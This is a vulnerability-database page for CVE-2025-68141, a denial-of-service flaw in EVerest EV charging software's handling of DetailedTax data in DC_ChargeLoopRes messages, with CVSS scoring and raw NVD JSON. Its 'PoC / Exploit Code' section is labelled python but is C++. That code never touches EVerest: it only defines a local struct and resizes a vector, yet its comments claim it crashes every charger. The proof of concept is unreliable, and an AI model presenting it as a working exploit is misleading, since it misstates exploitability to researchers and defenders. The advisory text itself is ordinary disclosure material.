Security Vulnerability Report
中文
CVE-2025-68141 CVSS 7.4 HIGH

CVE-2025-68141

Published: 2026-01-21 20:16:07
Last Modified: 2026-02-06 21:22:04

Description

EVerest is an EV charging software stack. Prior to version 2025.10.0, during the deserialization of a `DC_ChargeLoopRes` message that includes Receipt as well as TaxCosts, the vector `<DetailedTax>tax_costs` in the target `Receipt` structure is accessed out of bounds. This occurs in the method `template <> void convert(const struct iso20_dc_DetailedTaxType& in, datatypes::DetailedTax& out)` which leads to a null pointer dereference and causes the module to terminate. The EVerest processes and all its modules shut down, affecting all EVSE. Version 2025.10.0 fixes the issue.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linuxfoundation:everest:*:*:*:*:*:*:*:* - VULNERABLE
EVerest < 2025.10.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-68141 PoC - Malformed DC_ChargeLoopRes Message // Target: EVerest < 2025.10.0 // Attack: Out-of-bounds access in DetailedTax conversion #include <cstdint> #include <vector> // Malformed iso20_dc_DetailedTaxType structure struct iso20_dc_DetailedTaxType { std::vector<uint8_t> tax_costs; // Out-of-bounds access here // ... other fields }; // Craft malicious DC_ChargeLoopRes with oversized tax_costs vector iso20_dc_DetailedTaxType craftMaliciousTaxData() { iso20_dc_DetailedTaxType maliciousData; // Trigger out-of-bounds by setting abnormal vector size maliciousData.tax_costs.resize(0xFFFFFFFF); // Force overflow return maliciousData; } // This will trigger null pointer dereference in convert() function void triggerVulnerability() { auto taxData = craftMaliciousTaxData(); // EVerest convert() function will access out-of-bounds // Result: Module crash, all EVSE shutdown } int main() { triggerVulnerability(); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68141", "sourceIdentifier": "[email protected]", "published": "2026-01-21T20:16:06.523", "lastModified": "2026-02-06T21:22:03.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EVerest is an EV charging software stack. Prior to version 2025.10.0, during the deserialization of a `DC_ChargeLoopRes` message that includes Receipt as well as TaxCosts, the vector `<DetailedTax>tax_costs` in the target `Receipt` structure is accessed out of bounds. This occurs in the method `template <> void convert(const struct iso20_dc_DetailedTaxType& in, datatypes::DetailedTax& out)` which leads to a null pointer dereference and causes the module to terminate. The EVerest processes and all its modules shut down, affecting all EVSE. Version 2025.10.0 fixes the issue."}, {"lang": "es", "value": "EVerest es una pila de software de carga de vehículos eléctricos. Antes de la versión 2025.10.0, durante la deserialización de un mensaje `DC_ChargeLoopRes` que incluye Receipt y TaxCosts, se accede fuera de los límites al vector `tax_costs` en la estructura `Receipt` de destino. Esto ocurre en el método `template &lt;&gt; void convert(const struct iso20_dc_DetailedTaxType&amp; in, datatypes::DetailedTax&amp; out)` lo que lleva a una desreferenciación de puntero nulo y provoca la terminación del módulo. Los procesos de EVerest y todos sus módulos se apagan, afectando a todos los EVSE. La versión 2025.10.0 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linuxfoundation:everest:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.10.0", "matchCriteriaId": "94E1768A-FED9-477E-A4B7-99FD10058D23"}]}]}], "references": [{"url": "https://github.com/EVerest/everest-core/security/advisories/GHSA-ph4w-r9q8-vm9h", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}